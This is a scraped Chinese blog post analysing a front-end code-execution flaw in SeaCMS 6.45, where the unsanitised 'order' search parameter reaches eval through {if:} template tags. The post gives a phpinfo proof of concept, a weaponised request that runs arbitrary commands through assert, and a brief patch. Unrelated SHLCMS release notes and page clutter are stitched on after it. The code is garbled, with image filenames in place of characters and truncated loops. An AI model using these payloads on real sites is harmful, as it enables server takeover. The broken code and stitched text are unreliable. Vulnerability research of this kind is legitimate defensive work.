wei php getshell,海洋cms最新版前台getshell(附靶机)

cms版本:6.45官网好像是6.48版本了直接上代码[mw_shl_code=applescript,true]function parseIf($content){

if (strpos($content,'{if:')=== false){

return $content;

}else{

$labelRule = buildregx("{if

9ef76dd2cd62ad1f8986f330fd2585e6.gif.*?)}(.*?){end if}","is");

$labelRule2="{elseif";

$labelRule3="{else}";

preg_match_all($labelRule,$content,$iar);

$arlen=count($iar[0]);

$elseIfFlag=false;

for($m=0;$m

$strIf=$iar[1][$m];

$strIf=$this->parseStrIf($strIf);

$strThen=$iar[2][$m];

$strThen=$this->parseSubIf($strThen);

if (strpos($strThen,$labelRule2)===false){

if (strpos($strThen,$labelRule3)>=0){

$elsearray=explode($labelRule3,$strThen);

$strThen1=$elsearray[0];

$strElse1=$elsearray[1];

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}

}else{

@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}

}else{

$elseIfArray=explode($labelRule2,$strThen);

$elseIfArrayLen=count($elseIfArray);

$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);

$resultStr=$elseIfSubArray[1];

$elseIfArraystr0=addslashes($elseIfArray[0]);

@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");

for($elseIfLen=1;$elseIfLen

$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");

$strElseIf=$this->parseStrIf($strElseIf);

$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));

@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");

@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");

if ($elseIfFlag) {break;}

}

$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");

$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));

if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);

@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");

$content=str_replace($iar[0][$m],$resultStr,$content);

}

}

return $content;

}

}[/mw_shl_code]

上面主要逻辑为解析html文件中的{if:}{end if}标签代码,可以看到没有做任何处理就eval,那么我们查找一下对应调用的地方会不会有漏洞。

主要关注前台,找到一处解析搜索结果的页面(search.php),代码比较多,一点一点来看。

找到调用的位置line 212

[mw_shl_code=applescript,true]$content=$mainClassObj->parseIf($content);

[/mw_shl_code]

往上看,发现他的逻辑是先解析其他类型的标签,比如

[mw_shl_code=applescript,true]{searchpage:page}[/mw_shl_code]

那么接下来的思路,主要是2点,查找对应if标签可控的位置,另一种就是查找其他标签的可控内容,写入if标签

我找到一处其他标签可控且没有做任何处理的位置,直接写入if标签语句即可造成任意代码执行

[mw_shl_code=applescript,true]function echoSearchPage()

{

global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;

$order = !empty($order)?$order:time;

...

...

...

$content = str_replace("{searchpage:page}",$page,$content);

$content = str_replace("{seacms:searchword}",$searchword,$content);

$content = str_replace("{seacms:searchnum}",$TotalResult,$content);

$content = str_replace("{searchpage

73a766463218fb4677613e1e10ae3f41.pngrdername}",$order,$content);

...

...

...[/mw_shl_code]

order变量可控并且在调用parseIf函数前先解析,所以我们可以通过order写入if标签。

查看一下具体html代码

[mw_shl_code=applescript,true]

73a766463218fb4677613e1e10ae3f41.pngrder-time-link}" {if:"{searchpage

73a766463218fb4677613e1e10ae3f41.pngrdername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映

73a766463218fb4677613e1e10ae3f41.pngrder-hit-link}" {if:"{searchpage

73a766463218fb4677613e1e10ae3f41.pngrdername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播

73a766463218fb4677613e1e10ae3f41.pngrder-score-link}" {if:"{searchpage

73a766463218fb4677613e1e10ae3f41.pngrdername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高

[/mw_shl_code]

那么接下来就可以构造poc了,类似sql注入,我们先把前面的if标签语句闭合,写入恶意代码并闭合后面的if标签。

example:

[mw_shl_code=applescript,true]}{end if}{if:1)phpinfo();if(1}{end if}

[/mw_shl_code]

从靶机来验证一下:

820abe5fc8c04510c5ae55c2854da088.gif

1.png (105.02 KB, 下载次数: 539)

2017-4-24 18:41 上传

看到有人问怎么深度利用,这里给出一种tips

[mw_shl_code=applescript,true]searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();[/mw_shl_code]

临时解决方案:

64行加:

[mw_shl_code=applescript,true]$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";[/mw_shl_code]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
深喉咙PHP企业网站系统(SHLCMS)是业内领先的免费开源网站管理系统又名深喉咙企业网站生成系统简称深喉咙CMS。深喉咙CMS采用网站功能模块化和网站风格模板化的设计方针,使得用户制作网站更加简易快捷,从而在企业网站建设领域应用非常广泛,是成熟的企业网站系统之一。 深喉咙PHP企业网站系统(SHLCMS) 4.2.0 更新内容:2012.02.11 1、统一SHLCMS模板调用标签,放弃原有繁杂无章的SHLCMS标签,将其重新命名定义、完善。 2、与4.2版本推出的同步产品是基于SHLCMS多用户平台loooe.com。SHLCMS用户和站长用户以后有福了,做的成本将大大降低; 3、更新KindEditor编辑器至4.02,使编辑器本身支持地图标注并截图功能; 4、新增加mapshow模块儿,利用google map对企业进行定位标注,为企业添加联系方式栏目 增加更多可选性; 5、为产品和图片模块儿增加多图功能,并为之重新设计了配套的相关parts页面; 6、为4.2增加了将网站直接迁移之loooe.com平台导出功能,方便有需的用户将老系统升级至最新系统导入到loooe.com平台,同时这个功能是不加限制的,loooe.com平台同样有将网站数据、模板、资源后台打包导入至本地SHLCMS的功能,不限制用户使用选择自由; 7、将数据库相关模块儿表字段名尽可能统一,使模块二次开发更加规范; 8、为每个模块儿增加独立、统一的keywords、description字段,并将期整理至统一的SEO标签,使用户可以为每条栏目 内容和每个栏目 以及每个频道单独添加独立 的关键字和描述,为SEO服务; 9、为新闻列表模块儿的内容标题 增加样式控制,例如颜色、加粗、斜体等,具体以官方发布版本效果为准; 10、重定义以及重写SHLCMS所有功能标签,优化结构和功能,并优化标签程序,使标签二次开发功能结构更加清晰、规范、易懂; 11、删除原有几本无用的“解决方案[solutions]”模块,并且鉴于很多用户的建议,官方默认将产品parts中的产品购物车功能删除,而以标签形式供不同需求的用户根据需要自行添加,而非默认就有; 12、后台为产品、新闻列表等模块儿增加 简易 标题搜索功能,方便信息量大的用户查找、定位、修改内容信息; 13、正式发布、推出此前已加入止4.11系统里的 邮件提醒 功能,可在构建网站->站点设置 的高级设置中开启。此功能因为是测试功能,所以4.11早期版本并没有,后来更新到4.11新版本,但官方一直未透露相关功能发布信息; 14、将构建网站->用户管理 和 权限管理 两功能合二为一 成“用户中心”,同时将 构建网站->数据库管理 和 清理数据 两功能合二为一成"数据管理",同时增加 构建网站->“迁移至loooe.com”功能菜单; 15、优化会员模块儿功能,并同时更新新的会员模块儿parts和前台用户中心; 16、更新/inc/models/index.php架构,解决SHLCMS PHP版本一直以来模块修改不能对MYSQL整形字段设置为0的问题。此功能会影响到之前SHLCMS里例如:焦点图隐藏设置、排序设置为高数值不能改回为0等很多相关设置和数据功能; 17、增加“自定义导行”栏目调用标签nav_call_custom,此标签可以能过用户自己输入要调用的栏目ID,重新组合出新导航供用户在模板上有需要的地方进行“自定义导航”输出调用,4.2里此标签相对简单,只根据用户配制的栏目ID,平行一级输出,不区分级别,但用户可以通过独立样式文件对其样式自定义; 18、更新原有get_location标签为nav_location并为其增加可以自定义设置 首页导航字符,解决掉很多用户在制作英文模板时遇到的"首页"为汉语字符问题,从此用户可以根据自己模板制作需要将期自定义设置,不再拘谨于中文“首页”; 19、增加sys_mail() 标签,使用户可以根据需要在模板的任何地方或系统二次开发的任何地方,根据自己在后台对邮件配制,进行邮件自动发送调用,关于该标签使用说明和功能参考官方标签帮助文档; 20、新增一模板,支持新标签的下拉菜单效果,同时支持新的会员系统标签效果,供用户制作 模板熟悉新标签用法做参考; 21、整理官方模板目录下文件格式标准,增加res目录,下分js、css、images、plug-in四个目录,主要用来存储官方发布的标准参考模板的所有资源文件和前端插件,用户制作模板只需拷贝res、index、parts、indexflash、preview、config.xml、skins.txt 就可以了。 4.11~4.20升级方法和步骤: (温馨提示:如果您使用的系统是4.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值